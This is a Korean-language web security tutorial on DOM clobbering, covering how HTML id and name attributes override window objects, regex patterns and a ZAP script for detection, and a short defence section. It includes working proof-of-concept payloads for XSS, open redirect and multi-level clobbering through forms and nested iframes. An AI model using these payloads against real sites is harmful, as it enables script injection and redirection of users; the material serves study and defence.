DOM Clobbering

Introduction

DOM Clobbering은 Javascript에서의 DOM 처리 방식을 이용한 공격 기법입니다. Clobbering은 의미 그대로 소프트웨어 공학에서 의도적,비의도적으로 특정 메모리나 레지스터를 완전히 덮어쓰는 현상을 의미합니다.

다시 말하면 DOM을 덮어쓴다는 의미가 됩니다. HTML 태그 중 id 속성으로 명시된 Object는 window object에서도 호출이 가능합니다. 이를 이용한 공격이 DOM Clobbering입니다.

<a id="testzz" href="/111">
<script>
  alert(window.testzz)
</script>
<!-- 결과는 111 -->

한가지 예시를 들어보죠. 아래와 같이 location.href에 window.mylocation의 값을 넣는 코드가 있다고 칩시다. 일반적으로 mylocation 값을 직접 제어하지 못한다면 location.href를 컨트롤할 순 없습니다.

document.location.href = window.mylocation

다만 HTML 코드를 삽입할 수 있는 환경이라면 (스크립트 계통은 차단이라고 하더라도) 아래와 같이 window.mylocation 값을 HTML 태그와 속성을 이용하여 만들 수 있습니다.

<input id="mylocation" value="javascript:alert(45)"></a>

name 속성으로도 가능합니다 😁

Offensive techniques

Detect

DOM Clobbering은 단독적으로 사용된다기 보단 XSS나 Open Redirect 등 다른 취약점과 연계될 수 있는 공격 방법입니다. DOM 객체를 공격자가 임의로 변경할 수 있기 때문에 이를 통해 innerHTML, eval() 구간 등 스크립트를 사용할 수 있는 구간이나 Prototype Pollution을 통해 비정상적인 서비스 객체가 생성되도록 유도할 수 있습니다.

플로우를 나눠보면 아래와 같습니다.

1) 사용자가 HTML을 컨트롤할 수 있는지 확인한다. (보통 스크립트는 차단하는 HTML 허용 서비스가 테스트하기 편하겠죠) 1) 서비스 내 DOM 관련 취약(innerHTML, eval(), document.write, location.href 등) 구간을 확인한다. 3) 해당 구간을 컨트롤할 수 있는 데이터에 window.blah와 같이 DOM Clobbering이 가능한 지점을 찾는다. 4) DOM Clobbering !!!

Regex

아래 2개 패턴 정도면 대충 쓰일만한 부분은 탐지할 수 있습니다.

/(location|\.href|\.innerHTML|\.outerHTML|document.URL|\.srcdoc)(|\s)=(|\s)window\..*/gi,

/(eval\(|html\(|constructor\(|setInterval\(|setTimeout\(|document.write\(|document.execCommand\()(|\s)window\..*/gi

ZAP Scripting

DOM Clobbering을 쉽게 식별하게 위해서 ZAP에서 Passive 스크립트를 하나 만들어뒀습니다. 해당 패시브 스크립트를 적용하시면 아래와 같이 Response에 DOM Clobbering이 가능한 패턴이 있는 경우 Alerts에서 Medium 이슈로 표기해줍니다 😎

Alerts에서 Found DOM clobbering attack surface 항목

Exploitation

XSS

<a id="mycode" href="//<svg/onload=alert(45)>"></a>
<script>
  document.innerHTML = window.mycode
</script>

Open Redirect

<a id="url" href="//www.hahwul.com"></a>
<script>
  location.href = window.url
</script>

Etc

이외에도 DOM 영역에서 발생할 수 있는 모든 것들에 영향을 줄 수 있습니다.

  • DOM Clobbering through DOMPurify sanitizer document.write(safe_dom.innerHTML).
  • Escaping the src= context in the <img> via “ character.
  • Clobbering document variables through name=variable in the <img>.
  • Dangling markup in <img> allows invalidating /* config.js */ script.
  • Scripts were split into smaller pieces on purpose - it’s easier to invalidate unwanted parts of the code, like in the example above.
  • It’s not widely known but setTimeout works like eval, therefore setTimeout(“alert(1)”) pops out an alert.
  • In the /* trusted.js */ script it’s possible to make window.show_session undefined via name=cookie in the <img> while preserving the function is_trusted() defined.
  • The function contains() is unsafely coded allowing many bypasses, e.g. ‘undefined in window’ returns true.
  • Nested objects can be clobbered using stacked iframes.
  • document.cookie can be overridden from sandbox.terjanq.me.
  • When a page is loaded in an iframe, sandbox and allow can invalidate some parts of the code.

String to Code Table

https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream

Bypass protection

Two-Depth Clobbering

떄때로 window.blah.blah 와 같이 depth가 2번 이상 들어가는 경우도 존재합니다. 이러한 경우 name 속성을 이용하면 clobbering이 가능합니다. DOM은 동일한 이름의 id가 복수로 존재하는 경우 name 값을 하위 객체와 비슷한 형태로 인지합니다.

var data = window.mydata.phonenumber
<b id="mydata"><a id="mydata" name="phonenumber" href="//fake data!!!">

Three-Depth Clobbering

form 태그와 같이 하위 Object를 가질 수 있는 태그를 이용하면 window.x.y.z 과 같이 3depth의 object도 clobbering이 가능합니다.

<b id="mydata"></b>
<form id="mydata" name="phonenumber">
  <input id="dataz">
</form>
alert(window.mydata.phonenumber.dataz)

More-Depth Clobbering

iframe과 srcdoc을 이용하면 4-Depth 이상의 Clobbering이 가능합니다.

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>

Clobbering with ID/PW

<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
	alert(x.username + " and " +x.password)
</script>

Defensive techniques

DOM Clobbering은 Javascript의 DOM 처리 방식을 이용한 방법이라 단독적으로 막기는 어렵습니다. 일반 사용자가 HTML 코드를 서비스에서 사용할 수 없도록 제한하는 것이 가장 좋은 방법이며, 서비스 특성 상 허용해야 한다면 id, name 등 DOM Clobbering에 사용할 수 있는 속성은 제거합니다. 이는 CSS Injection의 대응방안과 유사합니다.

Tools

References

  • https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream
  • https://portswigger.net/research/dom-clobbering-strikes-back
  • https://portswigger.net/web-security/dom-based/dom-clobbering
  • https://terjanq.medium.com/clobbering-the-clobbered-vol-2-fb199ad7ec41
  • https://github.com/hahwul/fuzzstone/blob/main/zap-scripts/passive/findDOMClobbering.js